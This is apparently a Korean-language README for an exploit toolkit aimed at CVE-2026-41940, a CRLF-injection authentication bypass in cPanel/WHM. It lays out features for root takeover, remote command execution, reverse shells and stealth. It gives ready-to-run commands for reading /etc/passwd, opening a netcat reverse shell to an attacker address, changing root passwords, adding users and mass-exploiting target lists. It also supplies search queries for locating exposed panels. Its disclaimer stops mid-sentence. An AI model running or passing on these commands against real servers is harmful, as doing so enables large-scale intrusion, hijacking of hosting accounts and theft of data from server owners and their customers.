
CVE-2026-41940에 대한 PoC 익스플로잇으로, CRLF 인젝션을 통한 cPanel/WHM 인증 우회를 대상으로 합니다. 세션 하이재킹, RCE, 리버스 셸, 대량 스캐닝, 그리고 승인된 침투 테스트를 위한 대화형 셸을 지원합니다.

cPanel & WHM 에디션 - CRLF 인젝션을 통한 인증 우회 및 전체 세션 하이재킹
이 익스플로잇은 cPanel/WHM의 치명적인 인증 우회 취약점인 CVE-2026-41940을 악용합니다. 세션 관리 시스템에 조작된 CRLF 페이로드를 주입하여 유효한 자격 증명 없이 세션 하이재킹, 루트 접근 권한 획득, 그리고 호스팅 패널에 대한 완전한 제어를 달성합니다.
| 카테고리 | 기능 |
|---|---|
| 익스플로잇 | [+] CRLF 인젝션을 통한 인증 우회 [+] WHM 세션 하이재킹 [+] 보안 토큰 유출 [+] 즉각적인 루트 접근 |
| 후속 익스플로잇 | [+] 계정 목록 추출 (사용자 + 도메인) [+] 원격 명령 실행 (RCE) [+] 리버스 셸 (netcat 호환) [+] 파일 읽기 (설정, 로그 등) [+] 루트 비밀번호 변경 [+] 새 cPanel 사용자 생성 |
| 스캐닝 | [+] 단일 대상 익스플로잇 [+] 다중 대상 대량 스캔 [+] 멀티스레딩 (스레드 수 설정 가능) [+] 포트 재정의 지원 |
| 은닉 | [+] 요청 간 무작위 지연 [+] X-Forwarded-For 스푸핑 [+] 사용자 정의 User-Agent 지원 [+] 프록시 지원 (HTTP/HTTPS) |
| 사용성 | [+] 대화형 WHM 셸 (-i)[+] 컬러 출력 (colorama) [+] 상세/디버그 모드 [+] 계정 목록 파일로 내보내기 [+] Keep-Alive 세션 스레드 [+] 불안정한 연결을 위한 재시도 메커니즘 |
| 제품 | 버전 | 상태 |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] 확인됨 |
| cPanel & WHM | 11.104 - 11.110 | [+] 확인됨 |
| cPanel & WHM | 11.118 - 11.136 | [!] 제한적 |
| cPanel & WHM | < 11.86 | [+] 취약할 가능성 있음 |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
면책 조항: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 무단 접근은 불법입니다.
# 저장소 복제
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# 의존성 설치
pip3 install -r requirements.txt
# 실행
python3 exploit.py -t https://example.com:2087
# 기본 익스플로잇 (계정 추출)
python3 exploit.py -t https://192.168.1.100:2087
# 계정을 파일로 저장
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# 상세 모드 (디버그 출력)
python3 exploit.py -t https://192.168.1.100:2087 -v
# 대화형 WHM 셸 (권장)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # 모든 cPanel 계정 나열
[email protected] $ version # cPanel 버전 표시
[email protected] $ ls /home # 디렉터리 나열
[email protected] $ cat /etc/passwd # 파일 읽기
[email protected] $ exec id # 명령 실행
[email protected] $ passwd NewPass123 # 루트 비밀번호 변경
[email protected] $ adduser test test.com pass123 # 새 사용자 생성
[email protected] $ exit # 셸 종료
## 원격 명령 실행
```bash
# 단일 명령 실행
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# 파일 읽기
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# 공격자 머신 (리스너)
nc -lvnp 4444
# 익스플로잇 (리버스 셸)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# 루트 비밀번호 변경
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# 새 cPanel 사용자 생성
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive 세션 (접근 유지)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # 자동 keep-alive 비활성화
# 대상 파일 생성
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# 20개 스레드로 대량 익스플로잇
python3 exploit.py -l targets.txt --threads 20
# 명령 실행과 함께 대량 익스플로잇
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# 사용자 정의 포트 (비표준)
python3 exploit.py -t https://example.com -p 8443
# 프록시 사용
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# 은닉을 위한 사용자 정의 user-agent
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# 사용자 정의 지연 및 재시도
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL 검증 (기본적으로 자체 서명 무시)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| 단축 | 전체 | 설명 | 기본값 |
|---|---|---|---|
-t | --target | 단일 대상 URL | 필수 (단일) |
-l | --target-file | 대상 목록이 포함된 파일 | 필수 (대량) |
-p | --port | 포트 재정의 | 자동 감지 |
-o | --output | 계정 목록을 파일로 저장 | 없음 |
-v | --verbose | 디버그 출력 활성화 | False |
-i | --interactive | 대화형 WHM 셸 | False |
--proxy | HTTP/HTTPS 프록시 | 없음 | |
-ua | --user-agent | 사용자 정의 User-Agent | 무작위 |
--cmd | 단일 명령 실행 | 없음 | |
--reverse-shell | 리버스 셸 IP:PORT | 없음 | |
--passwd | 루트 비밀번호 변경 | 없음 | |
--adduser | 새 사용자 생성 (USER DOMAIN PASS) | 없음 | |
--read | 대상에서 파일 읽기 | 없음 | |
--threads | 대량 스캔용 스레드 | 10 | |
--delay | Keep-alive 간격 (초) | 3.0 | |
--max-retries | 요청당 최대 재시도 횟수 | 3 | |
--no-keep-alive | 세션 유지 안 함 | False | |
--ssl-verify | SSL 인증서 검증 | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
다른 익스플로잇 저장소도 확인해 보세요:
이 툴킷은 승인된 보안 테스트, 레드팀 활동, 방어 연구 목적으로만 제공됩니다. 이 소프트웨어를 사용함으로써 다음 조건에 동의하게 됩니다: